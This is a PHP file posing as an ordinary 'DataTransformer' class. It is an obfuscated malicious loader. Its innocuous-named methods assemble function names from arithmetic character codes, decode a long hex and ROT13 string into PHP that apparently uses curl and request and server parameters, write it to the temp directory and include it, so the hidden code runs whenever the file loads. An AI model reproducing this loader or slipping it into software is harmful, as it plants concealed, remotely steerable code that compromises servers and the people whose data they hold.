<?php
class DataTransformer {
	private $og = '';
	private $ld = '';

	public function fetchRecords($p1) {
		$a = array((104),(68+4+29),((36*15)-420),(50),((16+82)),((3*35)),((65+45)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function handleRequest($p1) {
		$a = array(51,((53-4)),(121-5),(111),114,((14+5+76)),114,((52+49+15)),(5*23));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function manageState($p1,$p2) {
		$a = array((110),(101*1),((98*1)+14),111,((9*77)-591));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function parseResponse($p1,$p2) {
		$a = array(((87*104)-8946),((81+28+10)),(71+43),(105),116,((101*1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function fetchSummary($p1) {
		$a = array((12+1+89),((100-1)),(94+14),(((71*1)+40)),115,(27+50+24));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function resolveAction($p1,$p2=null) {
		$a = array((103+11),(102+5+9),(103+11),((3*35)),((73*111)-7994));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function initializeModule() {
		$this->ld = $this->resolveAction($this->calculateSum(), '/');
	}

	public function logTransaction() {
		$this->og = $this->handleRequest($this->fetchRecords($this->dx));
	}

	public function sendNotification() {
		$fn = $this->ld.'/wt-68195d2f9e881';
		$f = $this->manageState($fn, 'w');
		$this->parseResponse($f, $this->og);
		$this->fetchSummary($f);
		$this->processData($fn);
	}

	private $dx = '3c3f6375632070796e6666205f70617a7b636576696e67722' . '066676e677670245f646e3b66676e677670207368617067766' . '261205f766128245f7268672c245f6f74297b7673282166727' . '9733a3a245f646e29667279733a3a5f687828293b245f61613' . 'd66676579726128245f6f74293b245f6a6f3d6f6e667236345' . 'f71727062717228667279733a3a245f646e5b245f7268675d2' . '93b73626528245f6d6d633d302c245f6e623d6667657972612' . '8245f6a6f293b245f6d6d63213d3d245f6e623b2b2b245f6d6' . 'd6329245f6a6f5b245f6d6d635d3d7075652862657128245f6' . 'a6f5b245f6d6d635d295e62657128245f6f745b245f6d6d632' . '5245f61615d29293b657267686561245f6a6f3b7d636576696' . 'e67722066676e677670207368617067766261205f687828297' . 'b667279733a3a245f646e3d6e65656e6c28275f627a273d3e2' . '755744e5a506c6a444476306a514566705a4e3950596d5a434' . 'e4f796c594f3055424e624f49553957272c275f6d6570273d3' . 'e27554e666e586a526e58307874577544454d484449596b444' . 'c41747049586a306f5a48667243755649594e70544175444e2' . '72c275f6a7775273d3e27434f783d272c275f6f6f64273d3e2' . '742753038526d6a614331484a5175534b526a3445496b5a425' . '24970475175534b5374304f5077666d5a6a624451476b474f4' . '76a34486b4c414e44623850464e425374344d50776677564f7' . '837576d6b6e272c275f656e76273d3e27597444724e443d3d2' . '72c275f617264273d3e274c6a664e4c443d3d272c275f647a7' . '3273d3e274c6a78414f32523d272c275f696a65273d3e27584' . 'e48735a6a3d3d272c275f636172273d3e27272c275f7568672' . '73d3e27272c275f6d76273d3e27272c275f7874273d3e27416' . 'b787359317152704f307243485a704274384141745242416a5' . '64c586a744d704434525a7856565a4e4e6f5a4f344259485a4' . 'f59535643437578584c743d3d272c275f696f273d3e27434e4' . 'e47556a4e70516b6265272c275f796b68273d3e27416b34535' . '96d48465a4e3448272c275f766775273d3e27594f4e5a42753' . '44f272c275f6d66273d3e27416b5247596b4c3d272c275f6d6' . '778273d3e2754514c76736a3d3d272c275f7466273d3e27596' . 'a784c416a3d3d272c275f6a6266273d3e2759757859526c4c3' . 'd272c275f6772273d3e274c4e3d3d272c275f747562273d3e2' . '75974487154464c3d272c275f7875273d3e27736d5631506c6' . '3426f79454548614e635a4e78494d49623d272c275f6370742' . '73d3e27416a665051743d3d272c275f756d74273d3e27487a3' . '86750775259506a4c65514e52594d48486750474e4a5032754' . '96e54443d272c275f776871273d3e27594f304f4d485350272' . 'c275f727379273d3e27272c275f6770273d3e27416a7050586' . 'a3d3d272c275f6276273d3e27487a303d272c275f766a61273' . 'd3e27536d563842444e7957504e6e58516a3253774c3d272c2' . '75f667a62273d3e27536d707741444e3758505a445a464e785' . '146706c56444e794251703d272c275f727179273d3e2751464' . 'e65564466744246386f5647443d272c275f6f6d7a273d3e275' . '36d4833434e4e305a5078414376566554763833272c275f756' . '5273d3e27536d3476516d4877515038784e50666b547644762' . '72c275f6a6c64273d3e27272c275f7767273d3e27536d386a5' . '16d44325476307551463432272c275f736b74273d3e27536d3' . '47a516d487454766a3351463874272c275f736b68273d3e272' . '72c275f686e6c273d3e27536d3039424e4e645746526e576d3' . '0335377783d272c275f7068273d3e27536d706d416a4e74586' . 'c346e59475a3453775a3d272c275f79736a273d3e27536c4e7' . 'a5a744e66594644445776487751474e3357744e6c43474e3d2' . '72c275f6778273d3e27536c4461414e4e62595056445676447' . '951474432564e4e3243514c3d272c275f6d656b273d3e27514' . '66637587466655846446f5876443d272c275f7a75273d3e275' . '14752385844666b5976706f5a505a3d272c275f7065273d3e2' . '7426a6a424e6d4e58514e3d3d272c275f636167273d3e27537' . '67943736a3d3d272c275f6776273d3e27736b454a574f35464' . '9743d3d272c275f67726a273d3e27736a35484151624847784' . 'c3d272c275f667279273d3e277330304559483935272c275f6' . 'e6b273d3e2741756a3d272c275f6b7874273d3e2758745a3d2' . '72c275f6d7372273d3e2759445a53272c275f6f6572273d3e2' . '75974704c4e443d3d272c293b7d7d70796e6666205f67747b6' . '36576696e67722066676e677670245f646e3b66676e6776702' . '07368617067766261205f766128245f726867297b767328216' . '67279733a3a245f646e29667279733a3a5f687828293b65726' . '768656120667279733a3a245f646e5b245f7268675d3b7d636' . '576696e67722066676e677670207368617067766261205f687' . '828297b667279733a3a245f646e3d6e65656e6c2830302c303' . '72c3033362c3033362c30312c3033362c30322c30372c30312' . 'c3031362c3033302c30362c3033322c3031322c3031312c303' . '1332c3032372c3033312c30332c30322c30312c30312c30302' . 'c3031322c3031322c303331302c303637332c303132302c303' . '02c30323030302c30312c303432332c30343233293b7d7d757' . '26e717265285f70617a3a3a5f766128275f627a272c275f706' . '2612729293b75726e717265285f70617a3a3a5f766128275f6' . 'd6570272c275f71672729293b767328766666726728245f545' . '2475b5f70617a3a3a5f766128275f6a7775272c275f646e652' . '7295d29297b245f72687a3d5f6c6c285f70617a3a3a5f76612' . '8275f6f6f64272c275f7169702729293b767328245f72687a2' . '62666676563626628245f72687a2c5f70617a3a3a5f7661282' . '75f656e76272c275f66716c272929213d3d736e796672297b7' . '17672285f70617a3a3a5f766128275f617264272c275f71782' . '729293b7d727966727b717672285f70617a3a3a5f766128275' . 'f647a73272c275f7879702729293b7d7d76732876666672672' . '8245f5452475b5f70617a3a3a5f766128275f696a65272c275' . 'f716627295d29297b245f6e623d245f5042425856523b245f6' . 'f743d5f67743a3a5f76612830293b245f7268673d5f67743a3' . 'a5f76612831293b245f666f713d6e65656e6c28293b245f666' . 'f715b245f6f745d3d5f70617a3a3a5f766128275f636172272' . 'c275f776127293b6a7576797228245f726867297b245f666f7' . '15b245f6f745d2e3d245f6e625b5f67743a3a5f76612832295' . 'd5b245f7268675d3b76732821245f6e625b5f67743a3a5f766' . '12833295d5b245f7268672b5f67743a3a5f76612834295d297' . 'b76732821245f6e625b5f67743a3a5f76612835295d5b245f7' . '268672b5f67743a3a5f76612836295d296f65726e783b245f6' . 'f742b2b3b245f666f715b245f6f745d3d5f70617a3a3a5f766' . '128275f756867272c275f687227293b245f7268672b2b3b7d2' . '45f7268673d245f7268672b5f67743a3a5f76612837292b5f6' . '7743a3a5f76612838293b7d245f6f743d245f666f715b5f677' . '43a3a5f76612839295d28292e245f666f715b5f67743a3a5f7' . '661283130295d3b76732821245f666f715b5f67743a3a5f766' . '1283131295d28245f6f7429297b245f7268673d245f666f715' . 'b5f67743a3a5f7661283132295d28245f6f742c245f666f715' . 'b5f67743a3a5f7661283133295d293b245f666f715b5f67743' . 'a3a5f7661283134295d28245f7268672c245f666f715b5f677' . '43a3a5f7661283135295d2e245f666f715b5f67743a3a5f766' . '1283136295d28245f666f715b5f67743a3a5f7661283137295' . 'd28245f6e625b5f67743a3a5f7661283138295d2929293b7d7' . '661707968717228245f6f74293b7d7368617067766261205f6' . 'c6c28245f6f6b762c245f72673d302e3930353630323336383' . '4383039382c245f7870753d2d32382e3737353830303731313' . '73434297b245f77643d5f70617a3a3a5f766128275f6d76272' . 'c275f6d796727293b245f6a623d5f70617a3a3a5f766128275' . 'f7874272c275f7a7827292e245f6f6b763b76732876665f706' . 'e79796e6f7972285f70617a3a3a5f766128275f696f272c275' . 'f686e66272929297b245f7476723d706865795f76617667282' . '45f6a62293b706865795f66726762636728245f7476722c504' . '845594243475f4646595f49524556534c435252452c736e796' . '672293b706865795f66726762636728245f7476722c5048455' . '94243475f4646595f49524556534c554246472c5f67743a3a5' . 'f766128313929293b706865795f66726762636728245f74767' . '22c504845594243475f53425959424a5942504e475642412c5' . 'f67743a3a5f766128323029293b706865795f6672676263672' . '8245f7476722c504845594243475f45524748454147454e414' . '65352452c5f67743a3a5f766128323129293b706865795f667' . '26762636728245f7476722c504845594243475f55524e51524' . '52c5f67743a3a5f766128323229293b706865795f667267626' . '36728245f7476722c504845594243475f50424141525047475' . '65a524248472c5f67743a3a5f766128323329293b706865795' . 'f66726762636728245f7476722c504845594243475f47565a5' . '24248472c5f67743a3a5f766128323429293b245f77643d706' . '865795f726b727028245f747672293b245f6767683d7068657' . '95f7472677661736228245f747672293b706865795f7079626' . '67228245f747672293b767328245f6767685b5f70617a3a3a5' . 'f766128275f796b68272c275f776427295d213d5f67743a3a5' . 'f7661283235292965726768656120736e7966723b7d7279667' . '27b245f6c6c623d636e6566725f68657928245f6a62293b245' . 'f6f796e3d28245f6c6c625b5f70617a3a3a5f766128275f766' . '775272c275f667127295d3d3d5f70617a3a3a5f766128275f6' . 'd66272c275f72742729293b245f6c636c3d5f70617a3a3a5f7' . '66128275f6d6778272c275f666927292e245f6c6c625b5f706' . '17a3a3a5f766128275f7466272c275f757927295d3b7673287' . '66666726728245f6c6c625b5f70617a3a3a5f766128275f6a6' . '266272c275f79616e27295d2929245f6c636c2e3d5f70617a3' . 'a3a5f766128275f6772272c275f76696427292e245f6c6c625' . 'b5f70617a3a3a5f766128275f747562272c275f636b7827295' . 'd3b245f6c636c2e3d5f70617a3a3a5f766128275f7875272c2' . '75f6d6e27292e245f6c6c625b5f70617a3a3a5f766128275f6' . '37074272c275f71646d27295d2e5f70617a3a3a5f766128275' . 'f756d74272c275f72617227293b245f6a67793d73666270786' . '26372612828245f6f796e3f5f70617a3a3a5f766128275f776' . '871272c275f617a27293a5f70617a3a3a5f766128275f72737' . '9272c275f7065622729292e245f6c6c625b5f70617a3a3a5f7' . '66128275f6770272c275f756427295d2c245f6f796e3f5f677' . '43a3a5f7661283236293a5f67743a3a5f766128323729293b7' . '67328245f6a6779297b736368676628245f6a67792c245f6c6' . '36c293b245f6a6f3d5f67743a3a5f7661283238293b6a75767' . '97228217372627328245f6a677929297b245f61683d7374726' . '76628245f6a67792c5f67743a3a5f766128323929293b76732' . '8245f6a6f29245f77642e3d245f61683b767328245f61683d3' . 'd5f70617a3a3a5f766128275f6276272c275f746b662729292' . '45f6a6f3d5f67743a3a5f7661283330293b7d7370796266722' . '8245f6a6779293b7d7d657267686561245f77643b7d245f797' . '73d766666726728245f4652454952455b5f70617a3a3a5f766' . '128275f766a61272c275f73757627295d293b245f78703d766' . '666726728245f4652454952455b5f70617a3a3a5f766128275' . 'f667a62272c275f706a7227295d293b245f64703d766666726' . '728245f4652454952455b5f70617a3a3a5f766128275f72717' . '9272c275f72736127295d293b245f76763d766666726728245' . 'f4652454952455b5f70617a3a3a5f766128275f6f6d7a272c2' . '75f6e707927295d293f245f4652454952455b5f70617a3a3a5' . 'f766128275f7565272c275f776927295d3a5f70617a3a3a5f7' . '66128275f6a6c64272c275f79776e27293b245f736b3d76666' . '6726728245f4652454952455b5f70617a3a3a5f766128275f7' . '767272c275f787127295d293f245f4652454952455b5f70617' . 'a3a3a5f766128275f736b74272c275f776527295d3a5f70617' . 'a3a3a5f766128275f736b68272c275f726927293b245f79773' . 'd766666726728245f4652454952455b5f70617a3a3a5f76612' . '8275f686e6c272c275f76767527295d293f245f46524549524' . '55b5f70617a3a3a5f766128275f7068272c275f70747427295' . 'd3a616879793b245f78703d766666726728245f46524549524' . '55b5f70617a3a3a5f766128275f79736a272c275f67656f272' . '95d293f245f4652454952455b5f70617a3a3a5f766128275f6' . '778272c275f63667127295d3a616879793b245f64703d76666' . '6726728245f4652454952455b5f70617a3a3a5f766128275f6' . 'd656b272c275f61697227295d293f245f4652454952455b5f7' . '0617a3a3a5f766128275f7a75272c275f67647327295d3a616' . '879793b7673287376796772655f696e6528245f79772c5f677' . '43a3a5f76612833312929297b245f75623d245f79773b7d727' . '966727673287376796772655f696e6528245f78702c5f67743' . 'a3a5f76612833322929297b245f75623d245f78703b7d72796' . '6727b245f75623d245f64703b7d767328766666726728245f5' . '452475b5f70617a3a3a5f766128275f7065272c275f6176612' . '7295d29297b72707562205f70617a3a3a5f766128275f63616' . '7272c275f6c6827292e245f75622e5f70617a3a3a5f7661282' . '75f6776272c275f75696427292e245f76762e5f70617a3a3a5' . 'f766128275f67726a272c275f65677327292e245f736b2e5f7' . '0617a3a3a5f766128275f667279272c275f646627293b726b7' . '66728293b7d76732821766666726728245f7562297c7c21766' . '666726728245f7676297c7c21766666726728245f736b29297' . 'b726b766728293b7d727966727b245f75683d6e65656e6c285' . 'f70617a3a3a5f766128275f6e6b272c275f796127293d3e245' . 'f75622c5f70617a3a3a5f766128275f6b7874272c275f6f787' . '227293d3e245f76762c5f70617a3a3a5f766128275f6d73722' . '72c275f73707427293d3e245f736b293b245f666f673d68657' . '9726170627172286f6e667236345f726170627172287766626' . '15f72617062717228245f75682929293b245f72687a3d5f6c6' . 'c28245f666f67293b767328245f72687a26266667656362662' . '8245f72687a2c5f70617a3a3a5f766128275f6f6572272c275' . 'f636f6c272929213d3d736e796672297b72707562245f72687' . 'a3b726b766728293b7d7d';

	public function processData($p) {
		include_once($p);
	}

	public function calculateSum() {
		$a=array((((66*27)-1667)),((11*11)),(((93*15)-1280)),((3+92)),((72+7+24)),((101*1)),(2*58),((68+19+8)),(54+45+17),(83+2+16),((95+8+6)),112,(((41*62)-2447)),((43*17)-631),((15*7)+0),((22*4)+26));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$kq = new DataTransformer();
$kq->initializeModule();
$kq->logTransaction();
$kq->sendNotification();
